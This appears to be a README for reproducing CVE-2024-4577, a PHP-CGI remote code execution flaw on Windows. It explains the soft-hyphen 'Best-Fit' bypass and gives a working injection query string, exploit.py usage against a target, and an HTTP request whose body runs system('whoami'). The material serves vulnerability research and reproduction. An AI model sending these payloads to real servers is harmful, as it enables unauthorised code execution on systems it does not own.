
CVE Reproduction: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 is a critical remote code execution vulnerability in PHP's CGI implementation on Windows. It bypasses the fix for the original CVE-2012-1823 by exploiting Windows "Best-Fit" code page conversion to smuggle command-line arguments through the CGI query string.
When PHP runs as a CGI module (php-cgi.exe), it parses the query string as command-line arguments. The original fix for CVE-2012-1823 blocked the - (hyphen, 0x2D) character to prevent argument injection. However, on Windows systems using certain code pages (e.g., Chinese, Japanese, Korean), the "Best-Fit" character mapping feature converts specific Unicode characters to their closest ASCII equivalents.
The key bypass uses the soft-hyphen character (0xAD / U+00AD). When a request passes %AD in the query string and the server's locale uses a "Best-Fit" code page, Windows internally converts 0xAD to 0x2D (hyphen), allowing the attacker to inject PHP arguments despite the filter.
Example: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input becomes -d allow_url_include=1 -d auto_prepend_file=php://input.
Configuration requirements:
php-cgi.exemod_cgi or mod_cgid configuredScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
The crafted payload injects PHP configuration directives via the query string:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe